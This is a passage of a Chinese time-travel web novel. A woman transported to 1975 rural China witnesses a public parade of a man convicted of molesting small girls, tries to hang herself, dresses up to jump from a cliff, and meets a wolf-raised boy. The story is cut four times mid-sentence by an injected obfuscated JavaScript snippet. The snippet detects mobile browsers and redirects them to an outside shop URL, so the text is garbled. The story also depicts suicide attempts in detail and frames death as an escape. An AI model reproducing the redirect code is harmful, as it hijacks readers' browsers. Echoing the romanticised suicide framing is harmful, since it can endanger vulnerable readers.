好多道声音一起涌入耳膜,徐知画这才注意到全家人都挤在了这个小小的房间里,看着她半是担忧半是欢喜。 “都走开走开,龟妹刚醒,别问那么多。”蔡淑芬端来一碗放了糖的水给她喝,再把煮熟的鸡蛋让她吃下去。 徐知画吃饱喝足后,倚靠在床边看着他们一家人嬉笑打闹的样子,穷归穷,但他们真的是很容易满足。 徐知画又休养了几天,双抢也进入尾声,人们总算是能歇一歇,而整天呆在房间里的她也闷得快要发霉了。 正当她想着去捅一捅墙上的蜘蛛网时,一阵“咣咣咣”的敲锣声突然从外面传来,紧接着狗岁兴奋道:“又有人干坏事游街,安荣叔我们快去看!” “我也要去。”徐知画推开窗户接道。 “姑姑,要不你还是留在家里吧。”狗岁有些为难地看着她,说,“万一你又被吓到就不好了。” “我是怕那些动物又不是怕人。”徐知画放话道,“你们不带我去,我就自己去。” “那好吧,不过你要是感到害怕,就捂住眼睛。”狗岁做了一个捂眼的动作。 “一起去一起去。”徐安荣拍掌。 经过院子时,徐康荣叮嘱道:“人多时小心点,保护好自己。” “知道啦。”狗岁说。 徐知画也点点头。 一路上都是想看热闹的人,大家议论纷纷,猜测着这次罪犯是犯了什么罪。 循着敲锣声,来到村口,只见一名男子神情萎靡,被反绑着双手,头戴顶高高尖尖的纸帽子,上面写着:【流氓犯王明】,胸前也挂着写了同样字的大木牌,而名字上还打了个X。 王明走在最前面,嘴里高喊着:“我是王明,我偷偷抄写淫·秽书籍,采取诱骗手段对女性耍流氓,我思想下流肮脏,大家不要向我学习。” 他每说完一句,跟在身后的民兵则敲响几声锣,再大喊道:“大家都来看看流氓犯王明游街示众了!” 而围观的人们,目光满是鄙夷,还有不少人光明正大地朝他吐口水。 徐知画从脑海中搜寻出了有关他的记忆:是之前的同班同学,性子木讷,独来独往,之前曾让他顺手帮忙交作业,他一声不吭地走开了,这次也在下乡的名单中。 有知情人则和身边的八卦群众分享着事件始末—— “王明是一名知青,他抄写的那本书啊……”知情人放低了声音,说,“叫《少女之心》,是关于三角恋情的故事,里面的内容……” “快说呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563775|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”有人催促道,“里面的内容写了什么?” 知情人吊足了胃口,才缓缓强调道:“我可没看过,也是听人说的,就……啧啧……那些事呗。” 他挤挤眼,什么事不言而喻。 “那他是采取什么手段耍流氓?”又有人追问。 知情人哼了哼,说:“他用糖骗了几个四五岁的小姑娘,说脱衣服给摸摸就有糖吃,还让人家不要告诉家人。没想到有个小姑娘回家后,被家人看到糖,就逼问是从哪里来的,没想到牵出了他这个流氓犯。” 听到这的人们愤怒地朝王明的方向唾了一口:“真是个畜生,连四五岁的小姑娘都不放过,简直丧尽天良,天理难容!” 知情人又说:“听说游街完后,要拉他去吃枪子,以儆效尤。” “应该的,这种人渣,死不足惜。” 知情人最后悠悠警醒道:“听说流氓都看过《少女之心》,看过《少女之心》就会变成流氓。所以这本书,是坏书,不能碰!”① “……” 徐知画曾在书籍网络上看到过一些这个时代对罪犯惩罚的相关介绍,手段花样百出,从身心到心灵都要叫罪犯痛苦。 直面这样一幕,徐知画第一次感受到时代的洪流正朝她涌来,她现在是过往历史中的沧海一粟,任何一点风浪都有可能将她淹没。 要谨言慎行。 “姑姑,为什么摸摸就要被抓?”狗岁睁着一双好奇的大眼睛问。 “额……反正男孩子就是不能随便摸女孩子。”徐知画觉得现在不是展开这话题的好时候。 狗岁示意她靠过来,凑近耳朵,悄声问:“可是我看到爸摸了妈的屁股,二婶也经常摸二叔,这算耍流氓要被抓起来吗?” 徐知画被问得有些不好意思,捂住了他的嘴巴防止问下去,说:“回去再跟你说。” * 徐知画是不想再下田干活了,正想着寻其他出路,适当展示一下才艺之类的,然而别人就揪着她不放了。 李小芳说:“别人能干,为什么她不能干?大队长你是不是给她行使特殊权力?如果这样的话,我要大义灭亲!我要举报她搞特殊! “伟大的领袖说了‘知识青年到农村去,接受贫下中农的再教育,很有必要。’她都锄头都没扛过,怎么能算接受了教育,没有改造,思想怎么会有进步?” “而且,如今她在乡下,怕虫怕蛇可不行,越害怕什么,越要面对什么。大队长不是也经常说,‘我们要克服一切困难,迎难而上搞农业!’吗?” 她这一句句砸过来,噎得大队长哑口无言。 本来怜悯徐知画病弱,让她去记工份的活也暂时作罢。 于是,在大家的关注下,徐知画开始顶着大太阳,一起去锄地。 一连几天下来,徐知画累得腰酸背痛,浑身像散架了一般,掌心还起了一个个水泡,看着好不可怜。 可偏李小芳还和老不死唱双簧—— 一个说她干活干成这样,连小孩都比不上,真是羞死人,干脆拿绳子吊死了算。 一个嫌她干啥都干不好,连锄地还要人重新再翻一遍,进她嘴里的粮食真是浪费了。 8. 病秧子X狼少年 徐知画自小是别人口中的孩子,也是徐钰燕拿得出手炫耀的资本。 但她种田是真的没有天赋,宁愿画一百幅画也不想锄一下地。 而且这病弱的身体是一大累赘,有次和老不死争执,还没吵两句自己先气晕过去了。 老不死的吵架战绩再添辉煌。 当徐知画醒来,得知自己落了个“小气鬼”的绰号,百般不服,然后一激动又气晕了。 自此,“胆小鬼”和“小气鬼”这两个称呼,就这样稳稳当当地落在了她的身上。 徐知画的坏名声传播得那么快,老不死功不可没。 鄙视的眼光像针扎一样刺痛她心。 每一次上工于她而言,不亚于上刀山下火海,她是受不了劳作的苦。 当农民伯伯真的太辛苦! 在又一次老不死嘲讽:“我要是你,我就上吊死。”时,徐知画越想越气,脑子一热,也不打算活了,找出一捆麻绳,气冲冲往老屋去。 时值正午,骄阳炙烤着大地,路边的狗都蔫了,在树底下吐着舌头散热,大多数人都躲在家里午休,一路上并没有什么人。 徐知画来到老不死的家门前,在墙角搬来一张梯子,面无表情地爬上梯子,将麻绳穿过房梁,然后在尾端系一个结,最后平静地将绳索套上脖颈,眼睛一闭,踢倒梯子,整个人垂直悬挂下来…… “哎呦!我的天爷啊!” 徐开鸿刚巡田回来,经过时看到这一幕,胆都要吓裂了,脑海中倏地响起之前徐知画那句掷地有声的豪言壮语—— 【我愿意将热血洒在这片土地上!】 “奶奶的!还真洒热血了!”徐开鸿以平生最快的速度冲过去抱起她的腿往上撑托,想到下个月有县领导来大队参观,这时候出人命那不是要他命吗。 “谁啊?”听到动静,老不死打开门,一眼看到徐知画在梁上吊着晃,吓得跌坐在地上。 平时老不死是嘴贱骂徐知画干不了什么活,不如上吊死这样的话,但蔡淑芬也没少骂回她是吊死鬼打粉插花,死不要脸。 难得他们家出了一个相对较软的柿子,老不死自然要逮着捏,也不是真的想要她死。 “还不快过来帮忙!”徐开鸿吼了一声。 “欸欸欸,天盛!小芳!救命!”老不死颤赶紧起身托住她的脚,朝屋内大喊道。 徐天盛和李小芳跑过来,看到也吓了一跳。 众人齐心协力将徐知画解救下来,徐开鸿将食指伸到鼻翼下,舒了一口气:“还有气,快,送去断腿康那!” 徐开鸿推了推徐天盛。 “我送?”徐天盛反手指着自己。 “你是她叔,你送!”徐开鸿看着他这副模样,忍住了想踹他的脚。 “哦。”徐天盛抱起徐知画小跑着过去。 * “断腿康!断腿康!快来人啊!”徐天瑞家院子静悄悄的,徐开鸿进来就嚎了一嗓子。 本在午休的一家人出来一看,龟妹被徐天盛抱着,生死不明,而老不死和李小芳神情躲闪,一副做了亏心事的样子。 “你们把我龟妹怎么了?!她要是出事,我跟你们拼命!”蔡淑芬眼睛一下子红了。 “我们可没把她怎么了,她自己上吊的。”老不死底气不足地说。 “上吊!”蔡淑芬倒吸了一口气,显然也想起什么,眼一瞪,“你叫她上吊的!” 说着就要和老不死掐起来。 “都别吵吵,让断腿康安心诊治。”徐开鸿赶紧分开两人。 “祝安留下来帮忙,其他人都出去。”徐康荣说道。 出到院子,徐开鸿看向老不死,说:“要是龟妹真出什么事,你就是教唆他人自杀,娟婆你也是要拉去批斗。” “啊?大队长,我就说说,真没想她死,不要拉我去批斗啊。”老不死立马慌了,彷佛看到了自己被折磨的场景,害怕得发抖。 “要以命抵命!”蔡淑芬恶狠狠地盯着她。 老不死害怕地躲在徐开鸿的身后。 徐开鸿咳了咳,说:“我们要把事情往好的方面想,龟妹吉人自有天相,一定会没事的。” “对,龟妹会没事的。”老不死在心里祈祷,要是她被救回来的话,以后都不当面骂她了。 …… 一定要没事啊! 这一刻,大家所祈愿是相同的。 “龟妹被救过来了。”徐康荣推着轮椅出来。 “太好了!”老不死悬着的心慢慢落回肚子里。 为了表达歉意,难得还提了一篮子鸡蛋过来让徐知画补身体。 【又没死成?】 这是徐知画醒来的第一个感慨,这具身体弱归弱,还挺难杀。 这次上吊伤到了嗓子,说话吃东西都疼得像吞刀片,到头来,还真是自找苦吃。 而徐知画找死这一举动,吓坏了全家人,上工先不用去了,也不放心让她一个人呆着,每天只能坐在徐康荣旁边看他编竹篮。 徐知画好像对生活丧失了激情,感觉什么都没意思,活着好没意思。 她一直觉得总有一天,自己还是会回到现代的,在这里的日子不过是一场噩梦,她总会醒过来的。 身旁的人是NPC,不是真的,或许这里就是楚门的世界,所展现给她看的都不是真的。徐知画给自己洗脑着。 可她没找到门的出口,或许死亡才是出路吧。 为了让他们放心,少关注点自己,徐知画开始装着开心、亲近,不过略施小计,他们就感动流涕,真可笑。 终于,他们放松警惕,她可以独自出门了。 徐知画选了一个天气好的日子,决定去死。 她将房间打扫干净,把攒的钱票留下,算作这段时间他们对自己的照顾吧。 条件有限,简单地用雪花膏将脸抹得水润些,梳一个丸子头,摘一朵鲜花别在上面。 向祝安借了盒胭脂,腮红、口红不落下。 再穿上一条的确良黄色长裙,搭配一双丁字搭扣的女式皮鞋。 “好看。”徐知画看着镜子里的自己,臭美道。 这一次,她选择跳崖去死。 如果幸运,悬崖下或许像玄幻小说写的那般,藏着秘籍,触发时空隧道可穿梭回到现代。 如果不幸,一定会死无全尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563776|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不会给这世间留下什么痕迹。而这也是她想要的。 听说万兽山是个风水宝地,当年在鬼子扫荡进村时,村民们就躲进山里逃过了一劫。 当然,徐知画看中它的是:足够险峻。 这一次,她一定会死翘翘,死得不能再死。 徐知画抱着必死的信心,脸上扬着奔向幸福的笑容,大步向前。 “龟妹,你去哪里?”徐康荣像初见那般,在院子里的树下编着竹编。 “我去知青点找同学玩。”好在这几天她都有为今天的出门做准备,和狗岁一起去了好几次知青点。 “等狗岁回来再去吧。”徐康荣说。 “不了,我和同学说女生的悄悄话,他总是跟着不方便。”徐知画答。 “那好吧,你小心点。”徐康荣看着她打扮得美美的,显然是抱了和小姑娘比美的心思,想着回头再叫祝安给她做一条新裙子。 “嗯嗯。” 想着很快就会解脱,一路上,徐知画愉悦地哼起了歌。 突然,一个人匆匆从身旁跑过,又两三个人跑得烟尘飞起,接着五六个人齐齐往同一方向跑去…… 一群人眼里闪烁着兴奋的光茫,好像脱缰的野马,争先恐后地跑着,唯恐错过什么似的。 出什么事了? 反正不关她的事,徐知画没想去凑这个热闹。 来到万兽山脚下,在一个湖泊旁,人们不知道在围观什么,嘴里叫嚷嚷着,吵吵闹闹的。 “狼……” “……抓住狼孩……” “……流血了……” 一些字眼不甚清晰地传进耳膜。 “龟妹,快来快来,快看狼孩!”徐安荣不知道从哪里蹦到身旁,硬拉着她的胳膊要去凑热闹。 “嗷呜——” 凄厉的狼叫声吓了众人一跳,纷纷躲闪后退着。 “哈哈哈,人真成狼了,真是只要活得久,什么稀奇事都会见到。”一个人大声说道。 “可不是,看着挺吓人的,要好几个人才能摁住他。”有人附和。 “你说怎么处理他,不能真像狼一样杀死煮来吃吧?”又有人问。 “不能杀,这是人,不是狼。”见狼孩力竭后,徐开鸿和一个年轻小伙开始拖着他上岸,喊道,“让让,都让让,他受伤了,需要去救治。” 一条路被开道,狼孩就这样直直撞进她的视线。 不过一瞬间,血液在体内疾驰,每一根汗毛都竖立起来,激动让她的呼吸变得急促而紊乱。 徐知画使劲揉了揉眼睛,不太敢相信眼前所看见的人是真的。 但就是真的! 狼孩乱糟糟的长发被捋到后脑勺,身上套着不合身的补丁衣服,五花大绑着,双臂反剪,被推着往前走。 狼孩粗犷、肮脏、狼狈,眼睛却亮得惊人。 他咆哮着、挣扎着、撕咬着,想挣脱、想毁灭、想逃生。 瘦小的身体迸发出强烈的生命力。 然而寡不敌众,徒劳挣扎。 这一刻,似是故人来。 她不是一个人了。 她,不想死了。 9. 病秧子X狼少年 狼孩,不,或许可以叫他刘白。 在现代,徐知画和刘白算是见证了彼此的成长史,年龄相仿,家住隔壁,从幼儿园到高一都是在同一班级,后来文理分科两人才被分散到别的班。 但和别的青梅竹马相亲相爱不同,他们是相恨相“杀”的死对头,其中恩怨可以追溯到上一辈—— 刘白的妈妈周景云、爸爸刘至简和徐知画的妈妈徐钰燕,三个人也是青梅竹马一起长大。 情窦初开那年,周景云喜欢上了刘至简,然而刘至简喜欢的是徐钰燕。 明明三个人在一起玩,但刘至简事事以徐钰燕的感受为先,哪怕得不到回应也甘之如饴为她鞍前马后,而徐钰燕明明不喜欢刘至简,却心安理得享受着他的好。 这让周景云感到很愤怒,她所珍惜求之不得的人,却被徐钰燕玩弄于掌心。 在一次宴会上,周景云认识了相貌不凡温文尔雅的宋新华,一看就是徐钰燕会喜欢的类型,于是鼓动宋新华去追徐钰燕,又三番两次为两人制造偶遇的机会。 后来徐钰燕坠入爱河,真的非君不嫁,未婚先孕,甚至为了宋新华不惜和家人断绝关系。 而在刘至简因暗恋无果借酒消愁时,周景云乘虚而入嘘寒问暖,一次下药春风一度,母凭子贵成功嫁给了他。 周景云也是后来才知道:宋新华是专门针对富家女培训过的伪富豪、真混混,在见徐钰燕脱离豪门无利可图后,家暴男不装了,母女俩的日子过得很是凄惨。 出于愧疚,周景云暗中制造了一场车祸送渣男归西,徐钰燕也再次回归家族过上豪门的千金生活。 只是,两人的情谊终究是回不去了。 周景云嫉妒刘至简的目光总是落在徐钰燕的身上。 徐钰燕憎恨周景云牵桥搭线将她推进渣男的火坑。 也因大人们的这些恩怨情仇,徐知画自小被灌输做什么都要赢刘白一头的意识,开启了长达十五年的无硝烟战争。 两人一见面就是针尖对麦芒,针锋相对,是对手,更是死对头。 徐知画还清楚地记得第一次和刘白交锋,是在幼儿园小班,因为他无意展示了算数的才能,被老师奖励一朵小红花贴纸,放学周景云来接送时,老师还重点表扬了。 而这一幕,徐钰燕清清楚楚地看在眼里,回到家后大发雷霆,揪着耳朵责骂她比不过刘白,后面就开始请私教教她数学。 自此,一颗事事和刘白攀比的种子就埋在徐知画的心里生根发芽了。 比成绩、比人缘、比技能、比知名度…… 然而以上这些,徐知画都要费尽心思百般努力才能维持得了这份荣耀,可刘白不需要,他是天赋型选手,付出一分耕耘就能得到十分收获。 像解同样一道数学题,徐知画要在草稿纸上反复计算一个一个步骤去推才算出结果,但刘白只需看一遍,脑海就会自动跃出答案。 甚至他不需要讨好别人,哪怕平时冷着一张脸,人们也会理所当然地包容他,觉得更酷更喜欢他了。 徐知画真的很讨厌刘白! 虽然徐知画从小就有“绘画神童”的美名,但刘白在物理学方面也展示出惊人的天赋,更被誉为“物理小王子”。 本来徐钰燕还想让徐知画争当个“物理小天后”,但请了很多老师,发现那些定律电磁学等内容实在塞不进她的脑袋,才死心作罢。 高考成绩放榜后,刘白作为A省理科状元,在采访时说了很多,但有一句徐知画记得很清楚—— 他说:“……如果可以,我想发明时空穿梭机,回到过去某个节点做出一些改变。将来的话,我想会致力于量子纠缠研究……” * 是什么原因让自己来到这个陌生的时代,徐知画一直很想知道。 脑海中有两个时代的记忆,2024年的她和1975年的她,哪一个才是真正的她? 她不知道。 这段时间,她一直很惶恐,像漂浮在一个真空层,脚踩不到实地。 现在见到了熟悉的人,徐知画不安的心总算稍稍安定了些。 哪怕这个人是曾经自己的死对头。 依目前的情况来看,这也算是在他乡遇故知了吧。 徐知画有点怀疑,刘白是不是已经暗中在研究什么时空穿梭机了,为了报复才将她传送到这个时代。 可能过程出了什么差错,他自己才被误送过来。 不过想想又不太可能,毕竟如果真的研究出时空穿梭机,那是要震惊全世界的,他所获得的荣誉,她更是拍马都追不上。 眼前这个刘白是粗犷型的,样貌气质有点出入是正常吧,毕竟她自己也有所变化。 在徐知画的预想中,两人重逢应该是老乡见老乡,两眼泪汪汪,互诉衷肠后,商量回去的对策。 正当她想靠近他些,对一下暗号,没想到他“嗷呜~”一声扑上来,还是徐家荣眼疾手快挡在身前,抬脚一踹,将他踹飞了。 刘白像断了线的风筝般从眼前掠过,然后重重摔下地里,晕了过去。 “哎呀,看这狼孩想吃人,还是不要救了。” 看到这一幕,围观的人群离他远了些。 徐知画见刘白吐血了,真害怕他会死去,拽了拽旁边徐家荣的胳膊,恳求道:“去救救他吧。” “他太危险了,让他活着可能会是个祸害。”徐家荣摇摇头。 徐知画打算自己出面保下他,正想上前,却见徐开鸿将他抱回榻上,说:“他身上流的是人血,能教化。怎么说都是一条人命,他既然被我们队发现,那以后也算是光荣大队的人。说不想救的人,是不是想搞分裂?” 这话说得有点严重了,大家面面相觑,都不敢再乱答话。 “断腿康,救!”徐开鸿铿锵有力地说道。 有了大队长的话,徐康荣开始专心投入到救治之中,很快,刘白身上的血止住了,骨折的手臂用木板固定好,伤口也被敷了药。 只是他的去处成了问题。 “谁家愿意先收留他一段时日?” 徐开鸿的眼睛扫过人群,众人纷纷低头不敢与之对视,都不想接这个烫手芋头。 徐家荣见徐知画举手有想掺和这趟浑水架势,趁没人注意、在她开口前先捂嘴拖走。 回到屋子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563777|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才低声提醒:“你不要随便大发善心,现在你自己都养活不了自己。” 徐知画用力一咬,徐家荣吃痛地放开手。 “反正我会想办法!”徐知画瞪了他一眼。 “你先别急着走,说说为什么那么在意他,你认识他?”徐家荣拉住她,若有所思地打量着,脸上挂着疑惑不解之色。 毕竟自徐知画回到这个家,她的反应一直都是淡淡的,对什么都无关要紧的样子,所流露的喜怒哀乐只浮于表面,而且到现在也没听她喊过爸妈和哥哥。 就好像…… 怎么说呢。 就好像是游离在这个世界之外,随时准备离开的人。 现在因为这狼孩,她整个人都鲜活起来,好比是木偶被注入了灵魂,情绪有了剧烈的变化。 “我怎么会认识他?就觉得他可怜,想救他行不行?” 现在这具身体和刘白还没有交集,要说认识那是怪力乱神,徐知画现在都不能接受自己跨时空来到这里,更别说若是别人得知会怎么想。 还是稳妥些,关于她是异世人这件事,越少人知道越好。 “求求你了,救救他行不行,家荣哥?”徐知画有些难为情地示弱道。 徐家荣的嘴角不自觉扬了扬,克制住内心的激动,说道:“再求我一次。” 徐知画:“求你了。” 徐家荣等了几秒,微微挑眉看着她。 徐知画心领神会:“求你了,家荣哥。” 徐家荣满意地点点头,说:“既然我妹想要救他,那我这当哥,就勉为其难应了。” 院子里的气氛还在僵着,奈何家里有个母老虎,徐开鸿是不敢随随便便就带人回去住,也不好强制要求别人收留狼孩。 徐家荣就是在这时候走出来说:“狼孩现在受那么重的伤不方便移动,先在我家住下吧。” “还是你思想觉悟高,乐于助人。”包袱被接过去,徐开鸿心头一轻,脸上露出笑容。 “三弟……”徐康荣想阻止,却见他伸手示意不要打断。 “大队长啊,我们一家子都是热心肠的人,但是呢……唉……”徐家荣长叹了口气,开始卖惨,“我们家的情况你也知道,穷得都揭不开锅了,在他养伤期间,吃的用的穿的,我们就是有心也无力啊,你看队上能不能支援点?” 徐开鸿想了想,狠狠揪了一把胡子,说:“没问题,不过有个要求,你们要训练狼孩的生活技能,一个月内我要看到成效。” 这要求就有点高了,本来对队上支援还有点意见的村民瞬间没了意见,毕竟大家都看过,狼孩野性难驯,要教他像个正常人一样生活,恐怕真不好教。 而徐开鸿抱的想法是:到时看能不能请访员来采访登报,毕竟被狼养大的小孩,这可是一件稀奇事;或者在县领导来参观时,多宣传宣传光荣大队的奉献友爱、互助进步精神。 徐家荣看了看徐知画,还是点头应了。 “家荣,你确定这事你能说了算吧?”现在徐天瑞和蔡淑芬上山挖野菜还没回来,徐开鸿不放心地问。 “能。”徐家荣给他一记【放心】的眼神。 10. 病秧子X狼少年 狼孩自有记忆起,就和狼群一起生活,还很小的时候,他一直不明白为什么自己和别的狼长不一样。 光秃秃的身体脆弱又不御寒,两爪既不坚硬也不锋利,四肢并不强壮也不有力,更让他自卑的是,别的狼都有大尾巴,就他没有。 好在先天不足,后天努力,茹毛饮血,厮杀搏斗,他也一天天长大强壮起来。 后来他才知道,自己是被狼后捡回来的。 那年,狼后在生产时突遇虎袭,在逃亡之中狼崽不幸丧生,狼后悲痛欲绝,恰巧在草丛中发现了哇哇大哭的他。 出于母爱的本能,狼后将他带回去当自己的崽养。 因为长相和别的狼格格不入,他的成长过程多是嘲讽与欺压,小时常靠逗乐卖乖才能获得一些食物。 后来大了些,多次在捕猎中展示聪明才智,成功配合狼群捕获更多猎物后,他的地位也高起来。 日子就这样一天天过去,狼王渐渐老去,他有想成为新狼王的野心,于是开始了一轮接一轮的挑战赛,最终不敌另一头公狼。 而挑战失败后,他不得不离开群体,独自觅食。 有次遇上一只落单的母狼,成功将她从虎口中救出后,相处了一段时间,他们决定结为伴侣。 就在他幻想着将来繁衍后代、创建新的家族、成为新狼王时,不幸再次悄悄降临—— 那天,他和往常一样觅食快要回到洞窟时,却听见一声痛苦的长啸,一丝血腥味在空气中隐约可闻。 瞬间他全身肌肉紧绷,黑眸危险地眯起,暗藏嗜血戾气,神色沉着戒备,小心翼翼地移动着身躯,不发出一丝声响。 只见前方三个两脚兽手持武器围攻着自己看中的母狼伴侣,母狼身上鲜血淋漓,明显落了下风,两脚兽们步步逼近…… 他倏地发起攻击,想攀上一个两脚兽的脖子一咬毙命,逐一击破。 然而刚飞跃而起,被一条藤曼绊住了脚,动作稍缓,不过一息之间,一个木叉将他摁在地上。 “怪……怪物!” 视线中,一个两脚兽高高举起武器,随着“梆!绑!绑!”几声响起,母狼的脑袋像炸开了一朵红花,身体抽搐几下,就不动了。 “嗷呜——” 化悲痛为力量,他怒吼着将木叉掰断,想要将始作俑者撕碎!咬烂!吞噬! “跑啊!” 两脚兽们见势不妙,拔腿就跑,开始夺命狂奔。 耳边风声在呼啸,绿野成了虚晃的残影,心跳和着脚步声奏出激昂的乐章,享受极速追捕的乐趣。 狡猾的两脚兽们,竟兵分三路,他顿了顿,决定追击那杀害他未来伴侣的凶手。 近了,近了,近了…… 他高高跃起,而两脚兽猛地蹲下。 糟糕!飞冲过头了—— “扑通——” 他重重地掉进一个陷阱里。 “像狼又像人,是什么动物?” 一根棍子在他的身上戳来戳去。 “嗷呜——” 棍棒不轻不重地落在身上,让他觉得烦躁又不安。 他示威般低吼着,蹦了好几次,又跳了好几回,可都无法从这陷阱中逃出去。 “是狼孩!”一个人惊呼。 “要打死吗?”另一个人问。 “那这杀的是狼还是人?”又一个人问。 杀狼没问题,杀人有可能要惹上是非麻烦。 三人面面相觑,一时间,谁也不敢轻举妄动。 “我回去找大队长,让他来处理。” “欸,先悄悄把那头死狼藏好了。” “我做事你放心。” “……” 他们叽里呱啦在说着什么,狼孩没听懂,在陷阱里转来转去,脑袋猛然撞上土壁,不动了。 “撞晕了?”一个人又拿棍子戳了戳。 狼孩还是一动不动。 “不撞死就行,要不你下去看看。” “我不下,要下你下。” “那我们还是等人来吧。” …… 等了半天,徐开鸿终于带着一帮人浩浩荡荡走过来。 见狼孩躺在陷阱里像没了声息,徐开鸿皱了皱眉:“死了?” “我们可没打死他,他自己撞晕过去了吧。”一个人不确定地说。 “来,我们四个人下去,先把他的手脚绑起来。”徐开鸿吩咐道。 就在靠近狼孩时,他骤然蹬上一个人后背借力一跃而起,身形像狼一样矫健,动作又快,靠近时野性的危机感扑面而来,人们下意识闪了闪,让他成功从陷阱逃出。 “快!抓住他!”徐开鸿喊道。 也是,都是一群血气方刚的小伙子,怕什么,大家纷纷追过去。 狼孩受了伤,且体力不支,而且他们人多,前后左右包抄,很快就将他抓起来。 因为嫌弃他又脏又丑,大家随后将他抬到山下的湖泊搓洗干净,穿上衣服。 他们上下其手,狼孩躲无可躲,感到屈辱至极。 这样一看,人样倒是比狼样的特征更明显了。 狼孩耶! 这年代没什么娱乐节目,一点点八卦都能从村头传到村尾供茶余饭后取乐,得知有小孩被狼养大,谁看到不说一声稀奇,谁都想去凑凑这个热闹。 * 这是狼孩第一次下山,以俘虏被绑的姿势出现在人前。 他瞪着眼、龇着牙,企图吓跑每一个想要靠近的人类。 然而身旁越来越多人涌过来,一道道目光好似要化为利刃将他千刀万剐,此时他所释放的震慑力微不足道。 狼孩以为自己是在劫难逃,忍不住瑟瑟发抖起来,挣扎得愈发厉害。 在人类害怕又新奇的目光中,他想起受伤后困囿于蚁群的狼,逃脱不得,被啃噬殆尽。 他不知道自己会遭受什么样的折磨,也不知道要带他去何方,四肢百骸都叫嚣着疼痛,心中满是怨恨。 想报复! 今日之痛,明日活着必要还之! 他暗暗想到。 在围观的人群里,他看中了一个猎物,嫩白、娇弱,想象对着脖子一口咬下去,血如泉涌,一定很美味。 他肚子又开始饿了。 她的目光不似其他两脚兽那般戏谑残忍,看到他,一下子亮起来,而且因为惊讶,眼睛瞪得圆鼓鼓的,可爱得想一口吃掉。 他冲着她“嗷呜~”了一声,果然吓得她的眼睛瞪得更大了。 被推着走时他还在想,像她这般孱弱的两脚兽,捕不到食也需要向其他强壮的两脚兽巴结奉承卖好才能吃饱肚子吗? 肯定要。 不然她早就饿死了。 他继续被押着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563778|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前走,观察着身旁的两脚兽。 真奇怪,明明有别的两脚兽更高大更威猛,但头领却是个瘦弱苍老些的,而且看大家的样子,都很信服尊敬听从他。 走着走着,来到了一处奇怪的地方,没有密密麻麻的树木草丛,没有虫鸣鸟叫,狼孩不安的情绪越来越激烈。 狼孩想起狼王和狼后曾经告诫过,若是被两脚兽抓走,那是有去无回剥皮抽筋的,而且两脚兽比其他猛兽更恐怖,更狡猾更聪明。 惨了惨了! 他惨了! “嗷呜——”他又一次惨叫起来。 他被放倒,压着四肢,毫无反击之力,一个瘸腿的两脚兽不知道将什么东西涂在伤口上,刺痛的感觉瞬间涌遍全身。 惨叫连连。 他觉得自己要死了。 半晌,那些两脚兽终于松开他,晕晕乎乎中,一张白嫩的脸出现在头顶上。 饥饿的感觉再次侵占理智。 好饿! 吃了她! 呼吸起伏间,拼尽全力,他扑向她。 “嗷呜——” 啊!!! 痛!!! 好痛! 还没靠近她的衣角,他就被踹飞了。 再一次被摁住,他知道时不再来,可惜了。 可恶! 这次他被绳子栓在树下,限制着活动范围! 不过,围在身边的两脚兽越来越少。 天色渐渐暗下来。 狼孩再也坚持不住,晕晕沉沉睡去。 * “……你这是给家里找了个麻烦,狼孩狼孩,那不还是狼吗,你在家里养着一头狼,多危险。”蔡淑芬做工回来得知这件事,第一反应就是反对。 “没事的,我们先绑着他观察几天,他有人的基因,自然是人,怎么能说是狼呢。”徐家荣宽慰道。 “我还是不同意……你明天找大队长再说说……” “龟妹想要狼孩留在家里养,而且大队长除了同意给粮,也同意让龟妹不用下地干活了,只要把他变成正常人,到时算我们一份功劳。”徐家荣赶紧说。 “嗯,我想想让他留下。”徐知画看着蔡淑芬说。 “这样啊,那就让他留下来吧,反正也是多一张嘴的事。”蔡淑芬没再反对,欢喜道,“你不用下地也好,就是不知道大队长为什么要照顾他,肯定有什么企图。” “不管他有什么企图,反正对我们有好处也是真的。”徐家荣说。 